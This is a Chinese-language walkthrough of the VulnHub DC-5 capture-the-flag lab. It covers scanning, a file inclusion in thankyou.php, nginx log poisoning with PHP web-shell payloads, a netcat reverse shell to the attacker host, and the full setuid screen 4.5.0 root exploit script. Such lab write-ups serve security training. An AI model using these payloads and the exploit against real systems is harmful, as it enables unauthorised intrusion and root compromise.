vulnhub靶场DC-5通关记录

靶场描述

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

But if you're really, really stuck, you can watch this video which shows the first step.

提到本次靶场中 不存在ssh服务

渗透靶场

一、信息搜集

首先 给靶机开启NAT模式 使用nmap扫描靶机ip

nmap 192.168.160.0/24

image-20231212144354908

扫出来是192.168.160.156

在扫描详细的端口信息

nmap -A -p- -v 192.168.160.156

image-20231212144708011

开放了80端口 存在web服务 使用nginx中间件 版本是1.6.2
开放了111端口 存在rpcbind服务 版本是2.4

了解一下rpcbind服务

image-20231212151438774

这里要先说一下NFS文件系统

NFS(network file system):网络文件系统。Linux下三大文件系统之一,采用C/S架构。允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS应用中,本地NFS客户端可以透明的读写位于远端NFS服务器上的文件。

NFS服务器主要进程

1 rpc.nfsd 进程
NFS 服务的主进程,主要管理客户端是否能够接入 NFS 服务器以及数据的传输。

该进程固定监听 TCP/UDP 2049 端口。

2 rpc.mountd 进程
管理和维护 NFS 文件系统,根据所设定的权限决定是否允许客户端挂载指定的共享目录。

该进程监听的端口默认是不固定的。

3 rpc.lockd 进程
提供文件锁功能,防止多个客户端同时写入一个文件。

该进程监听的端口默认是不固定的。

4 rpc.statd 进程
负责检查数据的状态及一致性,需要与 rpc.lockd 配合使用。

该进程监听的端口默认是不固定的。

5 rpcbind 进程
RPC 的端口映射器进程,监听 UDP 111 端口。

NFS服务端机器:通过NFS协议将文件共享到网络上
NFS客户端机器:通过网络挂载NFS共享目录到本地
RPC(Remote Procedure Call):远程过程调用协议
NFS 只提供了基本的文件处理功能,而不提供任何 TCP/IP 数据传输功能。它需要借助 RPC 协议才能实现 TCP/IP 数据传输功能。

RPC 最主要的功能就是在指定每个 NFS 功能所对应的端口序号(port number ),并且回报给客户端,让客户端可以连结到正确的物理端口(port)上去。

一般情况下 rpcbind服务运行在111、31端口 本次靶机的rpcbind服务就开在111端口上

在使用whatweb进行站点CMS识别

whatweb -v 192.168.160.156

image-20231212153754332

使用dirb 扫一下目录

dirb http://192.168.160.156

image-20231212154018411

没扫出来啥东西

二、访问web站点

image-20231212154101840

在contact页面 看到可以提交东西 尝试随便写点内容提交

image-20231212155206018

发现跳转到thankyou.php 对于提交的内容 使用GET方式进行上传

但是注意到 在提交之后下面的年份发生了变化

image-20231212155846787

从2019年变为了2018年

尝试刷新发现 即使不传入参数 只刷新页面 这个年份也会改变 怀疑存在文件包含

image-20231212160757111

image-20231212160809141

确认文件包含

在使用dirsearch扫一下目录

image-20231212160553291

[16:04:27] 200 -    4KB - /contact.php                                      
[16:04:28] 301 -  184B  - /css  ->  http://192.168.160.156/css/             
[16:04:36] 200 -    6KB - /faq.php                                          
[16:04:38] 200 -   17B  - /footer.php                                       
[16:04:44] 301 -  184B  - /images  ->  http://192.168.160.156/images/       
[16:04:44] 403 -  570B  - /images/                                          
[16:05:30] 200 -  852B  - /thankyou.php 

扫出来这些页面 其中contact.php faq.php thankyou.php 都已经出现过 访问一下footer.php

image-20231212161256301

image-20231212161303494

刷新一次 年份就会发生变化 因此thankyou.php存在文件包含 包含的文件是footer.php

使用bp找到文件包含的变量名和包含值

thankyou.php页面抓个包 发送到爆破页面 构造一个文件包含的GET请求头

?1=1

使用集束炸弹模式(Cluster bomb) 进行爆破 集束炸弹模式是笛卡尔积的方式来进行爆破 最为全面

image-20231212194645640

image-20231212194700279

爆破出了8组值 成功包含出/etc/passwd文件 得知文件包含的变量名是file

image-20231212195424378

进行日志包含

在前面信息搜集的时候 我们得知 该站点使用的中间件是nginx nginx的日志一般在/var/log/nginx/access.log中 尝试进行包含

image-20231212195953211

根据日志包含的知识 http请求头中user-agent部分的内容会出现在日志中 我们就可以在user-agent中写入shell 在包含日志文件 执行shell

我们写入

<?php phpinfo(); ?>

image-20231212200653362

成功执行

反弹shell

既然可以进行文件包含 我们直接在user-agent中写入shell

<?php passthru($_GET['123']); ?>   // passthru的作用和system类似
    
使用GET方法
123=nc%20192.168.160.131%201111%20-e%20%2fbin%2fbash

或者
<?php eval($_GET['123']); ?>

使用GET方法
123=system('nc%20192.168.160.131%201111%20-e%20%2fbin%2fbash');

image-20231212204710758

在kali攻击机上监听1111端口

nc -lvvp 1111

成功反弹shell

再创造一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20231213112310481

三、提权

查看suid提权命令

当前用户www-data还是一个低权限用户 我们先找一下在当前用户可以使用suid提权的命令

find / -type f -perm -u=s 2>dev/null
/bin/su            
/bin/mount        
/bin/umount       
/bin/screen-4.5.0 
/usr/bin/gpasswd  
/usr/bin/procmail  
/usr/bin/at        
/usr/bin/passwd   
/usr/bin/chfn 
/usr/bin/newgrp        
/usr/bin/chsh                
/usr/lib/openssh/ssh-keysign       
/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

看到了在DC-4中 我们使用过的老朋友exim4 我们先试试这次exim4是否也可以成功提权

exim4提权

1.查找漏洞利用脚本

先查看靶机中exim4命令的版本

exim4 --version

image-20231213130751087

得知是4.84-2的版本

使用searchsploit找一下漏洞利用脚本

searchsploit exim 4.8

image-20231213150149193

但是很可惜 并没有找到合适版本的exim4漏洞利用脚本

2.exim4提权失败

screen-4.5.0 提权

在前面查看suid提权命令的时候 还发现一个screen-4.5.0

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
screen命令虚拟了一个终端(session),可在终端内运行命令,多次运行screen命令可以虚拟多个不同的终端;
每个session可以开启多个窗口,每个窗口有自己的shell,可以在不同的窗口中同时运行多个命令,每个命令都相当于在前台运行,可以与用户交互;
1.查找漏洞利用脚本
searchsploit screen 4.5.0

image-20231213151707051

找到两个权限提升的漏洞利用脚本

2.将漏洞利用脚本保存到攻击机
searchsploit -p linux/local/41154.sh
searchsploit -p linux/local/41152.txt
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.txt
3.查看41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
4.编译libhax.c文件

image-20231213154607953

gcc -fPIC -shared -ldl -o libhax.so libhax.c

image-20231213154753646

5.编译rootshell.c文件并删除

image-20231213154859138

gcc -o rootshell rootshell.c 
rm -f rootshell.c

image-20231213155059019

6.另存为新的dc5.sh文件

将刚才利用到的脚本和命令删除 另存为新的dc5.sh文件

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

保存的时候 在最后面加上 :set ff=unix 防止脚本格式错误

image-20231213160812384

6.下载漏洞脚本到靶机
wget http://192.168.160.150/rootshell
wget http://192.168.160.150/libhax.so
wget http://192.168.160.150/dc5.sh

image-20231213155855211

7.提权

将这三个文件传给靶机之后 赋予dc5.sh执行权限

chmod +x dc5.sh
chmod 777 dc5.sh

在直接执行就可以得到root权限

但是我这边会报错 在执行rootshell文件时显示glibc环境不对 可能是编译rootshell文件时的环境版本太高了 但前面的操作步骤是没问题的 解决的话 只能是换一个低版本的环境去编译rootshell

正常情况下就是可以直接得到root权限 进入root文件夹 看到flag文件了

image-20231214213017381

总结

至此 DC-5靶场通关